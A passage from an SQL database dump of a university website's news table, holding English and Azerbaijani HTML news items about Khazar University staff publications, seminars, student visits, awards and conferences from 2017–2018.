Peer Reviewed and Open Access Electronic Journal (E-ISSN:214906544, Volume 2, Special Number 2) in Turkey. The article deals with personality traits of people engaged in art, and the impact of society and time on their personality. Moreover, the author discusses the role of inner self of artists in creating of work of art.&nbsp;<a href=\"http://www.khazar.org/files/pdf/events/melek%20meqale%20journal%20of%20awereness.pdf\">PDF</a>  </p>'),(4875,2533,'en','An interview with a Khazar University graduate in the media','On October 17, 2017, an interview with Elmin Rustamov, a Khazar University graduate, the School of Humanities...','<p>On October 17, 2017, an interview with Elmin Rustamov, a Khazar University graduate, the School of Humanities and Social Sciences, was published in media. Currently, Elmin Rustamov studies in Sapienza University, Italy, and is co-chairman of Azerbaijan-Italy Youth Association.</p><p>Links for full article:</p><p style=\"background:undefined \"><a href=\"http://modern.az/az/news/146243\">http://modern.az/az/news/146243</a></p><p><a href=\"http://ucnoqta.az/news/51369\">http://ucnoqta.az/news/51369</a></p><p><a href=\"http://www.dia.az/8/158012-nalbandyani-susduran-azerbaycanli-telebe.html\">http://www.dia.az/8/158012-nalbandyani-susduran-azerbaycanli-telebe.html</a></p><p><a href=\"http://mektebgushesi.az/2017/10/17/nalbandyani-susduran-az%C9%99rbaycanli-t%C9%99l%C9%99b%C9%99-yen%C9%99-eyni-halla-qarsilassam-eyni-addimi-ataram\">http://mektebgushesi.az/2017/10/17/nalbandyani-susduran-azərbaycanli-tələbə-yenə-eyni-halla-qarsilassam-eyni-addimi-ataram</a>.</p>'),(4876,2463,'en','A romance by composer Sevda Rahimova is one of the top 10 romance','In May, 2017, AzTV “Madaniyyat” channel and “Azerbaijan” radio held a competition between composers who composes music in romance genre...','<p>In May, 2017, AzTV “Madaniyyat” channel and “Azerbaijan” radio held a competition between composers who composes music in romance genre. 10 pieces of romance were selected out of 100. One of the selected romance belongs to composer Sevda Rahimova, a teacher of “Dunya” school. She composed the selected romance for the poem “Either of us” by Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees.</p><p>The selected 10 pieces of romance will be performed in gala concert in International Mugham Centre on October 17.</p>'),(4877,2461,'en','Student Assembly met the first course students','Student Assembly of Khazar University met new students on September 30, 2017. Alovsat Amirbayli, Director on Public Relations and Media...','<p>Student Assembly of Khazar University met new students on September 30, 2017. Alovsat Amirbayli, Director on Public Relations and Media, opened the meeting and congratulated students. Then Gurban Asgarov, President of Student Assembly, talked about achievements gained by active students, interesting projects implemented by students, support by university administration, and suitable environment at university for students. A video clip about latest achievements of Student Assembly was presented to students. “Irali” Public Union and “AIESEC in Azerbaijan”, the organizations that cooperate with Student Assembly, also provided full information about themselves and recommended students to be active in social life. At the end of the meeting organizers answered questions by students.</p>'),(4878,2488,'en','An article about Vurgun Ayyub’s book','An article “New look at romanticism researches” by Prof. Badirkhan Ahmadli was published in “Adabiyyat” newspaper...','<p>An article “New look at romanticism researches” by Prof. Badirkhan Ahmadli was published in “Adabiyyat” newspaper. The article is about the book “Researching Azerbaijani romanticism” (Baku, “Elm va tahsil”, 2017) by Associate Professor Vurgun Ayyub, Head of the Department of the Azerbaijan Language and Literature of Khazar University. B.Ahmadli wrote about virtues of the book and, based on facts, proved that V.Ayyub had a new look at Azerbaijani romanticism in his researches.</p><p>A link for full article:</p><p><a href=\"http://edebiyyatqazeti.az/news/gundem/666-romantizm-arasdirmalarina-yeni-baxis\">http://edebiyyatqazeti.az/news/gundem/666-romantizm-arasdirmalarina-yeni-baxis</a>  <br></p>'),(4879,2490,'en','An article by an editorial staff member of “Khazar Review” has been published in a book of memories','A voluminous book of memories about prominent poet and writer Vagif Mammadov has been published...','<p><img src=\"/files/letters/Vaqif-Mammadov.jpg\" style=\"border:0px #000000;width:180px;height:216px;margin-right:8px;margin-bottom:8px;float:left\">A voluminous book of memories about prominent poet and writer Vagif Mammadov has been published. An article “A son of honor fortress” by honored journalist Alirza Balayev, deputy editor of “Khazar Review” journal, was also included into the book “Vagif Mammadov in memories” which was published by “Elm va tahsil” publishing house.</p>'),(4880,2389,'en','Intellectuals appealed to President','Prominent public figures of Azerbaijan appealed to President Ilham Aliyev regarding Mehman Aliyev, Director of “Turan...','<p>Prominent public figures of Azerbaijan appealed to President Ilham Aliyev regarding Mehman Aliyev, Director of “Turan” Information Agency, who was taken into custody. Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, also signed the appeal.</p><p>Links for the text of appeal and information on news:</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://baymedia.az/news.php?id=70845;\">http://baymedia.az/news.php?id=70845;</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://teleqraf.com/news/siyaset/147873.html\">http://teleqraf.com/news/siyaset/147873.html</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://hurriyyet.org/xeberlenti/35271-taninmis-sxslr-prezident-muracit-etdi-anar-frhad-bdlbyli-v-daha-kimlr.html\">http://hurriyyet.org/xeberlenti/35271-taninmis-sxslr-prezident-muracit-etdi-anar-frhad-bdlbyli-v-daha-kimlr.html</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://xeberbiz.az/son-xeber/23754-cnab-prezident-sizdn-artiq-drcd-xahis-edirik-anar-frhad-bdlbyli-cingiz-abdullayev-v-daha-kimlr.html\">http://xeberbiz.az/son-xeber/23754-cnab-prezident-sizdn-artiq-drcd-xahis-edirik-anar-frhad-bdlbyli-cingiz-abdullayev-v-daha-kimlr.html</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://qlobal.az/ictimai-xadimler-mehman-eliyevle-bali-prezidente-muraciet-etdi;\">http://qlobal.az/ictimai-xadimler-mehman-eliyevle-bali-prezidente-muraciet-etdi;</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://baymedia.az/news.php?id=70845;\">http://baymedia.az/news.php?id=70845;</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://xalqxeber.az/cemiyyet/12321-ziyalilar-mehman-eliyevle-bagli-prezidente-muraciet-etdi.html\">http://xalqxeber.az/cemiyyet/12321-ziyalilar-mehman-eliyevle-bagli-prezidente-muraciet-etdi.html</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://kivnews.com/?p=100072\">http://kivnews.com/?p=100072</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://cebhe.info/nufuzlu-ziyalilardan-prezidente-muracietxahis-edirik-71861\">http://cebhe.info/nufuzlu-ziyalilardan-prezidente-muracietxahis-edirik-71861</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://www.qaziler.az/news.php?id=53074\">http://www.qaziler.az/news.php?id=53074</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://sfera.az/nufuzlu-ziyalilardan-prezidente-muraciet-xahis-edirik/\">http://sfera.az/nufuzlu-ziyalilardan-prezidente-muraciet-xahis-edirik/</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://cia.az/news-view/75702-Cenab-Prezident-Sizden-artiq-derecede-xahish-edirik...;%0d\">http://cia.az/news-view/75702-Cenab-Prezident-Sizden-artiq-derecede-xahish-edirik...;</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://www.interpress.az/76533-ingiz-abdullayev-v-frhad-bdlbyli-mehman-liyev-gr-prezident-mracit-etdi.html;\">http://www.interpress.az/76533-ingiz-abdullayev-v-frhad-bdlbyli-mehman-liyev-gr-prezident-mracit-etdi.html;</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://www.moderator.az/news/190699.html;\">http://www.moderator.az/news/190699.html;</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://www.pia.az/Bir_qrup_ictimai-siyasi_xadim_-212267-xeber.html\">http://www.pia.az/Bir_qrup_ictimai-siyasi_xadim_-212267-xeber.html</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://qaynarxett.az/index.php?newsid=17839\">http://qaynarxett.az/index.php?newsid=17839</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://azpolitika.info/?p=351504#Kalibri\">http://azpolitika.info/?p=351504;</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://cenubxeberleri.com/929-mehman-eliyevin-azadligi-uchun-onlarla-taninmish-ziyali-olke-bashchisina-muraciet-etdi.html\">http://cenubxeberleri.com/929-mehman-eliyevin-azadligi-uchun-onlarla-taninmish-ziyali-olke-bashchisina-muraciet-etdi.html</a>.</p>'),(4881,2529,'en','Students visited Ancient Agsu','I and IV course students of the Department of History of Khazar University paid a long-awaited visit to Ancient Agsu on October...','<p>I and IV course students of the Department of History of Khazar University paid a long-awaited visit to Ancient Agsu on October 14, 2017. This visit was organized by Associate Professor Roza Arazova, Head of Department of History and Archeology, and Orkhan Zamanov, a lecturer of the same Department, as well as Fariz Khalilov, Chairman of “Miras” Aid for Research of Cultural Heritage Public Union. During the visit, students visited main historical monuments of Shirvan region. First, students and teaching staff of Khazar University visited Diri Baba tomb of XV century. Then there was an excursion-lesson, which was presented by F.Khalilov, involving information on final stage of Islamic archeology in Azerbaijan. At the end of the excursion, students visited historical and monumental Juma mosque in Shamakhi city.</p>'),(4882,2405,'en','An international scientific conference in Baku','An international scientific conference with topic “Common historical periods and relations of eastern and western...','<p>An international scientific conference with topic “Common historical periods and relations of eastern and western Turkish world” started on September 17, 2017, in the main building of Azerbaijan National Academy of Sciences. Khazar University was one of the organizers of the conference.</p><p>Links for further information:</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"https://azertag.az/xeber/Bakida_turk_dunyasinin_ortaq_tarixi_dovrlerine_dair_beynelxalq_elmi_konfrans_baslayib-1092700;%0d\">https://azertag.az/xeber/Bakida_turk_dunyasinin_ortaq_tarixi_dovrlerine_dair_beynelxalq_elmi_konfrans_baslayib-1092700;</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">&nbsp;<a href=\"http://yeniazerbaycan.com/SonXeber_e24460_az.html\">http://yeniazerbaycan.com/SonXeber_e24460_az.html</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://palitranews.az/news.php?id=74471\">http://palitranews.az/news.php?id=74471</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://mektebgushesi.az/2017/09/12/bakida-turk-dunyasinin-ortaq-tarixi-dovrl%c9%99rin%c9%99-dair-beyn%c9%99lxalq-elmi-konfrans-baslayib\">http://mektebgushesi.az/2017/09/12/bakida-turk-dunyasinin-ortaq-tarixi-dovrlərinə-dair-beynəlxalq-elmi-konfrans-baslayib</a>.</p>'),(4883,2653,'en','Staff members of the Department of Languages and Cultures in International symposium','Associate Professor Zivar Huseynli-Baylan, Coordinator of the Department of Languages and Cultures of Khazar University...','<p>Associate Professor Zivar Huseynli-Baylan, Coordinator of the Department of Languages and Cultures of Khazar University, and Elnura Azizova, Associate Professor of the same department, participated in III International Ahi Brotherhood symposium held in Ahi Evran University, Kirshehir, Turkey, on 5-7 October, 2017. Zivar Huseynli-Baylan and Elnura Azizova respectively delivered the following reports: “Persian manuscripts about Futuvva: Futuvvatnama and Risala Jivanmardan” and “Occupations are Sacred: The Religious Dynamics Constitute the Basis for the Early al-Futuvva Organizations within the context of the Early “al-Kasb” Literature”.</p>'),(4884,2546,'en','A seminar on requirements for a dissertation for Master’s students','PhD in Philology Eldar Shahgeldiyev, Head of Division of Master’s, PhD and Research of Khazar University, held a seminar...','<p>PhD in Philology Eldar Shahgeldiyev, Head of Division of Master’s, PhD and Research of Khazar University, held a seminar, December 19, 2017, on requirements for a dissertation for Master’s students of the university. In the seminar, E. Shahgeldiyev mentioned that it was important to publish articles related to the topic of a dissertation.</p><p>Dr.Hassan Niknafs, Rector of the university, Dr.Bahman Amani, Head of the Department of English Language and Literature, Eynur Mehdiyev, Vice-head of the Department of English Language and Literature, and Lala Hamidova, a lecturer of the Department of English Language and Literature, participated in the seminar.</p>'),(4885,2465,'en','An article about Khazar University in “Adalat and hagigat” newspaper','A voluminous article “Khazar University with international rating” by Jamil Zabhullaoglu and Elman Maliyev, was published...','<p>A voluminous article “Khazar University with international rating” by Jamil Zabhullaoglu and Elman Maliyev, was published in “Adalat and hagigat” newspaper, number dated August 20 – September 10. The article deals with background and achievements of the university.</p>'),(4886,2424,'en','A staff memeber of Khazar University was awarded “Honored teacher” title','Ilham Aliyev, President of the Republic of Azerbaijan, signed an order, September 15, 2017, on awarding honorary...','<p>Ilham Aliyev, President of the Republic of Azerbaijan, signed an order, September 15, 2017, on awarding honorary titles to cultural figures of Azerbaijan. Zulfiyya Sadigova, Head of the Department of Art of Khazar University, was also awarded “Honored teacher” honorary title by the order.</p><p>A link for further information:</p><p><a href=\"http://president.az/articles/25239\">http://president.az/articles/25239</a>.<br></p>'),(4887,2501,'en','A seminar on use of the \"Endnote\" program','PhD and Master’s Union of Khazar University organized a seminar, October 6, 2017, on \"Endnote\" program, software which helps...','<p>PhD and Master’s Union of Khazar University organized a seminar, October 6, 2017, on \"Endnote\" program, software which helps students do research and write an article. PhD in Biology Babak Alibayov instructed students how to create their personal virtual library. Some of PhD and Master’s students participated in the seminar.</p><p>The next seminar will be on October 20. The students are supposed to do researches based on knowledge gained at the previous seminar.</p>'),(4890,2403,'en','A staff member of the School of Humanities and Social Sciences was published in Ganja','An article “The American Dream: A review of the suspense in Steinbeck’s `Of Mice and Men`” by Valida Karimova...','<p>An article “<em>The American Dream: A review of the suspense in Steinbeck’s `Of Mice and Men`</em>” by Valida Karimova (PhD), Assistant of Dean of the School of Humanities and Social Sciences was published in Ganja in the second volume, 2017, of Humanities and Natural Sciences series of “Scientific reviews” journal of Ganja State University, which is included in Periodic Scientific Publications of the Higher Attestation Commission under the President of the Republic of Azerbaijan. In the research article, the author, by investigating “Mice and Men” novel, gives information about people who live with longing for their motherland and those people whose grief the author share. <a href=\"http://www.khazar.org/files/pdf/events/valida%20meqale.PDF\">PDF</a>  </p>'),(4891,2530,'en','An article by a Khazar University lecturer was published','An article “Giziroglu Mustafa bey in “Koroglu” epos (based on Azerbaijani and Turkish versions)” by Elza Ismayilova...','<p>An article “Giziroglu Mustafa bey in “Koroglu” epos (based on Azerbaijani and Turkish versions)” by Elza Ismayilova, a lecturer of the Department of the Azerbaijan Language and Literature of Khazar University, was published in “Researches on Azerbaijani oral folk literature” journal of Institute Of Folklore (2017/ 1 (50)).</p><p><strong><em><strong><em><a href=\"http://www.khazar.org/files/letters/folklor.pdf\">PDF</a></em></strong>   format of the article is in the attachment.</em></strong></p>'),(4892,2503,'en','\"Young Philologists\" visited Huseyn Javid\'s House museum','PhD in Philology Khatira Yusifova, a lecturer of the School of Education of Khazar University, organized one of the lessons...','<p>PhD in Philology Khatira Yusifova, a lecturer of the School of Education of Khazar University, organized one of the lessons of subject of Azerbaijani literature with topic “Huseyn Javid\'s life and creativity” in Huseyn Javid\'s House museum for the first course students, October 10, 2017.</p>'),(4893,2853,'en','Video recording of “Nasimi Passion” was demonstrated at Union of Composers','Video recording of “Nasimi Passion”, work of art by prominent composer Firangiz Alizade, was demonstrated...','<p>Video recording of “Nasimi Passion”, work of art by prominent composer Firangiz Alizade, was demonstrated in Azerbaijan Union of Composers on January 17. “Nasimi Passion” was performed by royal symphonic orchestra, choir and soloists of the The Netherlands in “Amsterdam Royal Concertgebouw” concert hall on April, 2017.</p><p>Members of Parliament, cultural and art figures, and ambassadors participated in the ceremony.</p><p>F.Alizade delivered a speech and talked about Imadaddin Nazimi, a great thinker of Azerbaijan, and the work of art. Moreover, F.Alizade talked about progressive ideas and philosophical views of the thinker.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, and honored teacher and pianist Zulfiyya Sadigova, Head of the Department of Music and Art of the university, participated at the ceremony. Hamlet Isakhanli delivered a speech at the ceremony.</p>'),(4895,2859,'az','eiLink Tədqiqat və İnkişaf Mərkəzi','eiLink Tədqiqat və İnkişaf Mərkəzi','<p><strong><em>eiLink (Education Industry Link) Tədqiqat və İnkişaf Mərkəzi</em></strong>, Neft Mühəndisləri Cəmiyyətinin Azərbaycan bölməsi (NMC) dəstəyi ilə 2015-ci ilin dekabr ayında Xəzər Universitetində yaradılmışdır.</p><p>Tədqiqat mərkəzinin əsas məqsədi bir çox sahələr üzrə tədqiqatda qabaqcıl mövqeni almaq və yüksək keyfiyyətli təhsil verməkdir.</p>\r\n<p>eiLink T&amp;İ mərkəzi NMC də sənaye mütəxəssislərinin təlimatları ilə və onların keyfiyyətə nəzarəti altında Geoloji Kəshfiyyat, Lay Mühəndisliyi, Kompüter və İnformasiya Elmləri üzrə tədqiqatların aparılmasına başlayıb.</p>'),(4896,2859,'en','eiLink Research and Development Center','eiLink Research and Development Center','<p><strong><em>eiLink (Education Industry Link) Research and Development Center</em></strong> was established at Khazar University in December 2015 with support of Society of Petroleum Engineers (SPE) Azerbaijan Section.</p><p>The research center’s overriding goal is to achieve research excellence across many fields and provide high-quality education.</p><p>eiLink R&amp;D has already started conducting studies and research for the industry in Geoscience, Reservoir Engineering, Computer and Data Science disciplines under close mentorship and quality assurance from the industry professionals within SPE Azerbaijan.</p>'),(4894,2812,'az','Təşkilat Komitəsi','Təşkilat Komitəsi','<p style=\"text-align:right\"><strong>Xəzər Universiteti</strong></p><p style=\"text-align:right\"><strong>Rektoru Dr.Hassan Niknafsa</strong></p><p style=\"text-align:right\"><strong>Xəzər Psixoloji Xidmət Mərkəzinin direktoru</strong></p><p style=\"text-align:right\"><strong>Mələk Kərimova tərəfindən</strong></p>\r\n<p style=\"text-align:center\"><strong>TƏQDİMAT</strong></p>\r\n<p style=\"text-align:justify\">Yazıb sizə bildirirəm ki, Azərbaycan 5-ci Beynəlxalq Psixologiya Konfransının 7-8 Aprel 2018 ci ildə keçirilməsi planlaşdırılmışdır. Bu məqsədlə aşağıdakı tərkibdə Təşkilat Komitəsi yaradılmasına şərait yaratmanızı xahiş edirəm.</p><p style=\"text-align:justify\"></p><ul><li style=\"text-align:justify\">Mələk Kərimova –  Xəzər Psixoloji Xidmət Mərkəzinin direktoru</li><li style=\"text-align:justify\">Kəmalə Əliyeva&nbsp;–  Psixologiya Departamentinin müəllimi</li><li>Ləman Verdiyeva&nbsp;–  Ph.D Ədliyyə Nazirliyi,Psixologiya Departamentinin müəllimi</li><li>Təhmasib Cavadzadə –  1 saylı Ruhi Xəstəxananın klinik psixoloqu,Psixologiya Departamentinin müəllimi</li><li>Röya Mirzəyeva –  Ədliyyə Nazirliyi, psixiatr,Psixologiya Departamentinin müəllimi</li><li>Anar Babayev –  Psixologiya Departamentinin müəllimi,</li><li>Aygün İsgəndərova –  Psixologiya Departamentinin müəllimi,</li><li>Fərəh Adıgözəlova –  Psixologiya Departamentinin müəllimi,</li><li>Nilufər Əlizadə –  Psixologiya Departamentinin müəllimi</li></ul><p></p><p style=\"text-align:justify\"><strong>Psixologiya ixtisasının könüllü tələbələri</strong></p><p style=\"text-align:justify\"></p><ul><li>Ləman Quliyeva –  könüllü</li><li>Cəmilə Məhərrəmova –  könüllü</li><li>Şahin Əliyev –  könüllü</li><li>Aysel Əfəndiyeva –  könüllü</li><li>Aytac Məmmədova –  könüllü</li><li>Vüsal Alıquliyev –  könüllü</li></ul><p></p><p style=\"text-align:right\">24.01.2018</p><p style=\"text-align:right\"><strong>Mələk Kərimova</strong></p>'),(4898,2861,'az','Xəzər Universitetinin rektoru Ankara Universitetində oldu','2018-ci il yanvarın 18-də Xəzər Universitetinin rektoru Hassan Niknafs, Azərbaycan SPE-nin direktoru Əli Nağıyev, tədqiqatçı...','<p>2018-ci il yanvarın 18-də Xəzər Universitetinin rektoru Hassan Niknafs, Azərbaycan SPE-nin direktoru Əli Nağıyev, tədqiqatçı və Xəzər Universitetinin Neft mühəndisliyi ixtisası üzrə PhD&nbsp;namizədi Şəhriyar Alxaslı Ankara Universitetini ziyarət etdilər.</p><p>Səfər zamanı Xəzər Universitetinin nümayəndə heyəti Ankara Universitetinin rektoru Prof. Dr. Erkan İbiş, Mühəndislik fakültəsinin dekanı Prof. Dr. Aziz Tekin, Beynəlxalq əlaqələr üzrə koordinator Prof. Dr. Sibel Suzen, Beynəlxalq münasibətlər üzrə koordinator Prof. Dr. İlhan Karasubaşı və universitetin bir neçə əsas şöbəsinin rəhbərləri ilə görüşdülər. Tədqiqat, tələbə mübadiləsi və ikitərəfli proqramın bütün sahələrdə, xüsusilə kompüter elmləri və mühəndisliyi, eləcə də, geoloji elmlər müzakirələrin əsas mövzusu oldu. Rektor Prof. Dr. Erkan İbiş Xəzər Universiteti ilə hər hansı bir əməkdaşlığı məmnuniyyətlə qarşıladı və müxtəlif departamentlərdə ayrı-ayrı görüşlər təşkil etdi. İki universitet arasında Erasmus+ və Mövlana proqramı çərçivəsində tələbə mübadiləsilə bağlı tədbirlərin artırılması da uzun müddət müzakirə edildi.</p>'),(4899,2862,'az','Hamlet İsaxanlı Azərbaycanda təhsillə bağlı fikirlərini bölüşdü','2018-ci il yanvarın 23-də “Kaspi” qəzetinin internet səhifəsində “Bilik axtarışında” adlı məqalə yayınlanmışdır...','<p>2018-ci il yanvarın 23-də “Kaspi” qəzetinin internet səhifəsində “Bilik axtarışında” adlı məqalə yayınlanmışdır. Məqalədə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının fikirlərinə geniş yer verilmişdir.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://kaspiy.az/news.php?id=75176\">http://kaspiy.az/news.php?id=75176</a>.</p>'),(4900,2863,'az','Tezislərin göndərilməsinin son tarixi uzadılmışdır','“Qloballaşan təhsil” adlı I Beynəlxalq Təhsil Elmləri Simpoziumunun təşkilat heyəti çoxsaylı tələbləri nəzərə alaraq, tezislərin...','<p>“Qloballaşan təhsil” adlı I Beynəlxalq Təhsil Elmləri Simpoziumunun təşkilat heyəti çoxsaylı tələbləri nəzərə alaraq, tezislərin son göndərilmə tarixini 2018-ci il fevralın 15-dək uzatmışdır. Simpoziumun saytından ətraflı məlumat almaq və tezislərinizi göndərmək mümkündür.</p><p>Simpoziumun saytına bu link vasitəsilə daxil olmaq olar:</p><p><a href=\"http://edusymposium.khazar.org/folder/English/index_En.php\">http://edusymposium.khazar.org/folder/English/index_En.php</a>.</p>'),(4902,2862,'en','Hamlet Isakhanli gave his thoughts on education in Azerbaijan','An article “Searching for knowledge” was posted on the website of “Kaspi” newspaper...','<p>An article “Searching for knowledge” was posted on the website of “Kaspi” newspaper on January 23, 2018. The article widely covers views by Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees.</p><p>A link for full article:</p><p><a href=\"http://kaspiy.az/news.php?id=75176\">http://kaspiy.az/news.php?id=75176</a>.  <br></p>'),(4903,2864,'az','Təhsil departamentinin müəlliminin publisistik məqaləsi “Üç çizgi” jurnalında','Xəzər Universiteti Təhsil departamentinin müəllimi və koordinatoru Qoşqar Məhərrəmovun...','<p>Xəzər Universitetinin Təhsil departamentinin müəllimi və koordinatoru Qoşqar Məhərrəmovun \"Türk Tipi Liderlik\" adlı publisistik məqaləsi Türkiyənin \"Üç Çizgi\" jurnalının 2017-ci il 4-cü nömrəsində çap olunmuşdur. Məqalədə tarixdəki türk millətlərindən və başqa millətlərdən olan liderlərin liderlik xüsusiyyətləri və davranışları müqayisəli təhlil edilmişdir.</p>'),(4904,2865,'az','Xəzər Universitetində “Disleksiyada Məşhur-Unikal Ronald Deyvis Metodu” adlı seminar keçirildi','2018-ci il yanvarın 20-si və 21-də Xəzər Universitetində “DARON” Disleksiyanın Korreksiyası...','<p>2018-ci il yanvarın 20-si və 21-də Xəzər Universitetində “DARON” Disleksiyanın Korreksiyası üzrə Beynəlxalq Mərkəzin direktoru, İsrailli mütəxəssis Lora Zakon tərəfindən “Disleksiyada məşhur və unikal metod olan Ronald Deyvis seminarı” adlı tədbir&nbsp;keçirildi. Tədbirdə Xəzər Universiteti Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova və Əlilliyi olan Tələbələr üçün Mərkəzin direktoru Rima Məmmədova da iştirak edirdilər. Tədbirdə öyrənmə çətinliyi kimi qiymətləndirilən disleksiya, diskalkuliya, disqrafiya, dispraksi kimi pozuntular haqqında ətraflı məlumat verildi. Tədbirin ikinci günündə belə çətinliyi olan insanlarla işləyərkən nələr edildiyi nümayiş etdirildi və dünyada çox istifadə edilən Ronald Deyvis metodu ilə əlaqədar master təlim keçirildi.</p><p>Konfrans sonunda Xəzər Universitetinin əməkdaşlarına da “DARON” Disleksiyanın Korreksiyası üzrə Beynəlxalq Mərkəzin beynəlxalq dərəcəli sertifikatı təqdim olundu.</p>'),(4905,2866,'en','Research presentations by PhD candidates to be held','Ilham Taghiyev and Milana Abbasova, PhD candidates of English Language and Literature...','<p>Ilham Taghiyev and Milana Abbasova, PhD candidates of English Language and Literature Department, Khazar University, will deliver presentations on their PhD theses.&nbsp;</p><p>“Experimental Research of Cognitive Properties of English Humour” (Cognitive Linguistics)&nbsp;–&nbsp;Ilham Taghiyev</p><p>“Modern Tendencies in Sociolinguistic Approach to English Language Research” – Milana Abbasova</p><p><br></p>  <p><strong>Time</strong>:&nbsp;12:00</p><p><strong>Date</strong>: January 31, 2018.</p><p><strong>Venue</strong>: Training Room, Khazar University.</p>'),(4906,2867,'en','Seminars on Research Methodology and English for Specific Purposes held at Khazar University','English Language and Literature department conducted two seminars on Research Methodology and English for Specific Purposes...','<p>English Language and Literature department conducted two seminars on Research Methodology and English for Specific Purposes led by Dr. Kouhi, the young scholar on ESP research methodology from Maragheh Azad University, East Azerbaijan, on January 25, 2018. During the seminars, Data collection and Data Analysis and Modern Approaches to the teaching of ESP, were discussed in details. Dr. Kouhi gave some recommendations to the instructors involved in research. Dr. Hassan Niknafs spoke about the significance of the event.</p><p>All the instructors of English Language and Literature Department together with MA students (1<sup>st</sup> and 2<sup>nd</sup> years of Translation and Linguistics) took part in the seminars. The seminars were attended by the interested researchers from different universities as well. Certificates of participation were issued for the registered applicants of the two seminars.</p><p>Furthermore, Dr. Kouhi supervised some instructors who are currently involved in research activities.</p>'),(4907,2865,'en','A seminar “Famous Unique Ronald Davis Method for Dyslexia” at Khazar University','A seminar “Famous Unique Ronald Davis Method for Dyslexia” was held at Khazar University on January...','<p>A seminar “Famous Unique Ronald Davis Method for Dyslexia” was held at Khazar University on January 20-21, 2018. An Israeli expert Lora Zakon, Director of “DARON” International Dyslexia Correction Center, run the seminar. Malak Karimova, Director of Centre for Psychological Service Centre of Khazar University, and Rima Mammadova, Director of Centre for Students with Disabilities, also participated at the seminar. Participants were given detailed information on dyslexia, dyscalculia, dysgraphia, dyspraxia and other disorders. On the second day of the seminar, participants gained practical skills on how to work with people with disorders. Moreover, there was a master class on Ronald Davis Method.</p><p>At the end of the seminar participants got an international certificate of “DARON” International Dyslexia Correction Center.</p>'),(4908,2864,'en','An article by a lecturer of the Department of Education published in “Uch jizgi” journal','An article “A Turkish type leadership” by Goshgar Maharramov, a lecturer and coordinator of the Department of 